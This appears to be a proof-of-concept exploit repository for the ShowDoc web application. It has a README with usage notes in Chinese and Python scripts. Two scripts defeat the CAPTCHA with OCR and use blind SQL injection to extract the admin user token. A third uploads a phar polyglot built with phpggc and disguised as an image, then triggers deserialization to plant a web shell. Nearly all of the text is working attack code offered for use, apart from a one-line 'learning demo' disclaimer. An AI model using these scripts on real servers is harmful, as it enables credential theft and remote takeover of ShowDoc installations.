├── gif ├── shell.php ├── README.md ├── sqli.py ├── sqliremote.py └── unser.py /gif: -------------------------------------------------------------------------------- 1 | GIF89a -------------------------------------------------------------------------------- /shell.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # showdoc_poc 2 | ## 需要条件 3 | 4 | - phpggc: 用于生成序列化数据,而且需要设置为系统变量 (https://github.com/ambionics/phpggc) 5 | - ddddocr: pip 需要安装ddddocr用于orc识别 (pip install ddddocr) 6 | 7 | ## 使用方法 8 | 9 | ### 注入 10 | 11 | ``` 12 | python3 sqli.py http://target 13 | python3 sqliremote.py http://target http://ocr_server 14 | ``` 15 | 16 | ### 反序列化 17 | 18 | ``` 19 | python3 unser.py http://target (远程shell文件名)rshell.php (本地shell文件路径)shell.php xxxxxxx(token)xxxxxxxx 20 | ``` 21 | 22 | ## 注意⚠️ 23 | 本脚本仅为demo学习使用,不一定适用于所有环境 24 | 注入脚本流量大,对网站造成损失概不负责 25 | -------------------------------------------------------------------------------- /sqli.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import ddddocr 3 | import sys 4 | 5 | ocr = ddddocr.DdddOcr(show_ad=False) 6 | 7 | if len(sys.argv) < 2: 8 | print("[+] usage: python3 sqli.py http://target") 9 | sys.exit() 10 | url = sys.argv[1] 11 | slist = "abcdef1234567890" 12 | token = "" 13 | 14 | def ocrimg(img): 15 | return ocr.classification(img) 16 | 17 | def getocrcode(): 18 | create_url = url+'/server/index.php?s=/api/common/createCaptcha' 19 | show_url = url+'/server/index.php?s=/api/common/showCaptcha&captcha_id=' 20 | id = requests.get(create_url).json()['data']['captcha_id'] 21 | code = ocrimg(requests.get(show_url+id).content) 22 | return id, code 23 | 24 | def sqli(i,s): 25 | id, code = getocrcode() 26 | payload = f"1') union select 1,2,3,4,5,substr((select token from user_token where uid=1),{i},1)='{s}',7,8,9,10,11,12--" 27 | data = { 28 | "password" : "1", 29 | "item_id" : payload, 30 | "captcha" : code, 31 | "captcha_id" : int(id) 32 | } 33 | return requests.post(url+"/server/index.php?s=/api/item/pwd",data) 34 | 35 | for i in range(1,65): 36 | for s in slist: 37 | while True: 38 | resp = sqli(i,s) 39 | if "refer_url" in resp.text: 40 | token += s 41 | print("[+]token:",token) 42 | break 43 | elif "\"error_code\":10206" in resp.text: 44 | continue 45 | else: 46 | break 47 | if len(token) == i: 48 | break 49 | -------------------------------------------------------------------------------- /sqliremote.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import base64 3 | import sys 4 | 5 | if len(sys.argv) < 3: 6 | print("[+] usage: python3 sqliremote.py http://target http://ocr_server") 7 | sys.exit() 8 | url = sys.argv[1] 9 | ocr_url = sys.argv[2] 10 | slist = "abcdef1234567890" 11 | token = "" 12 | 13 | def ocrimgremote(base64_img): 14 | return requests.post(ocr_url + '/ocr/b64/text', data=base64_img).text 15 | 16 | def getocrcoderemote(): 17 | create_url = url+'/server/index.php?s=/api/common/createCaptcha' 18 | show_url = url+'/server/index.php?s=/api/common/showCaptcha&captcha_id=' 19 | id = requests.get(create_url).json()['data']['captcha_id'] 20 | img64 = base64.b64encode(requests.get(show_url+id).content) 21 | code = ocrimgremote(img64) 22 | return id,code 23 | 24 | def sqli(i,s): 25 | id, code = getocrcoderemote() 26 | payload = f"1') union select 1,2,3,4,5,substr((select token from user_token where uid=1),{i},1)='{s}',7,8,9,10,11,12--" 27 | data = { 28 | "password" : "1", 29 | "item_id" : payload, 30 | "captcha" : code, 31 | "captcha_id" : int(id) 32 | } 33 | return requests.post(url+"/server/index.php?s=/api/item/pwd",data) 34 | 35 | # 注入 36 | 37 | for i in range(1,65): 38 | for s in slist: 39 | while True: 40 | resp = sqli(i,s) 41 | if "refer_url" in resp.text: 42 | token += s 43 | print("[+] token:",token) 44 | break 45 | elif "\"error_code\":10206" in resp.text: 46 | continue 47 | else: 48 | break 49 | if len(token) == i: 50 | break 51 | -------------------------------------------------------------------------------- /unser.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | import re 4 | import subprocess 5 | import sys 6 | from urllib.parse import urlparse 7 | 8 | def get_absolute_path(url): 9 | u = url + "/server/index.php?s=xx/xx/xx" 10 | resp = requests.get(u).text 11 | pattern = r"(\\/[\w\\/.]+)\\/server" 12 | matche = re.findall(pattern, resp)[0].replace("\\","") 13 | print("[+]get absolute path: "+matche) 14 | return matche 15 | 16 | def get_path_and_query(url): 17 | parsed_url = urlparse(url) 18 | path = parsed_url.path 19 | query = parsed_url.query 20 | path_and_query = f"{path}?{query}" if query else path 21 | return path_and_query 22 | 23 | def upload(token): 24 | url_upload = url + "/server/index.php?s=/api/page/uploadImg&user_token="+token 25 | with open("phar.png", 'rb') as img: 26 | files = {'editormd-image-file': img} 27 | response = requests.post(url_upload, files=files) 28 | sign_url = json.loads(response.text) 29 | return get_path_and_query(sign_url['url']) 30 | 31 | 32 | def get_path(sign): 33 | url_path = url +sign 34 | response = requests.get(url_path, allow_redirects=False) 35 | if response.status_code == 302: 36 | redirect_url = response.headers.get('Location') 37 | return get_path_and_query(redirect_url) 38 | else: 39 | return None 40 | 41 | def get_phar(apath="/var/www/html", rshellname="shell.php",lshellpath="shell.php"): 42 | cmd = "phpggc Guzzle/FW1 " + "\"" + apath +"/Public/Uploads/"+ rshellname + "\"" + " ./" + lshellpath + " -p phar -pp ./gif -o phar.png" 43 | subprocess.Popen(cmd,shell=True).wait() 44 | return 45 | 46 | def phar(path,apath,rshellname,url): 47 | url_path = url + "/server/index.php?s=/home/index/new_is_writeable" 48 | data = {"file":"phar://"+apath+path} 49 | requests.post(url_path,data= 50 | data) 51 | r = requests.get(url+"/Public/Uploads/"+rshellname) 52 | if r.status_code == 200: 53 | print("[+] unserialize success! shell path is: "+url+"/Public/Uploads/"+rshellname) 54 | 55 | if __name__ == "__main__": 56 | if len(sys.argv) < 5: 57 | print("[+] usage: python3 unser.py http://target rshell.php shell.php xxxxxxx-token-xxxx") 58 | sys.exit() 59 | # 目标URL 60 | url = sys.argv[1] 61 | # 远程shell文件名 62 | rshellname = sys.argv[2] 63 | # 本地shell文件名 64 | lshellpath = sys.argv[3] 65 | # 用户token 66 | token = sys.argv[4] 67 | apath = get_absolute_path(url) 68 | get_phar(apath, rshellname, lshellpath) 69 | sign_url = upload(token) 70 | phar_path = get_path(sign_url) 71 | phar(phar_path,apath,rshellname,url) 72 | 73 | 74 | --------------------------------------------------------------------------------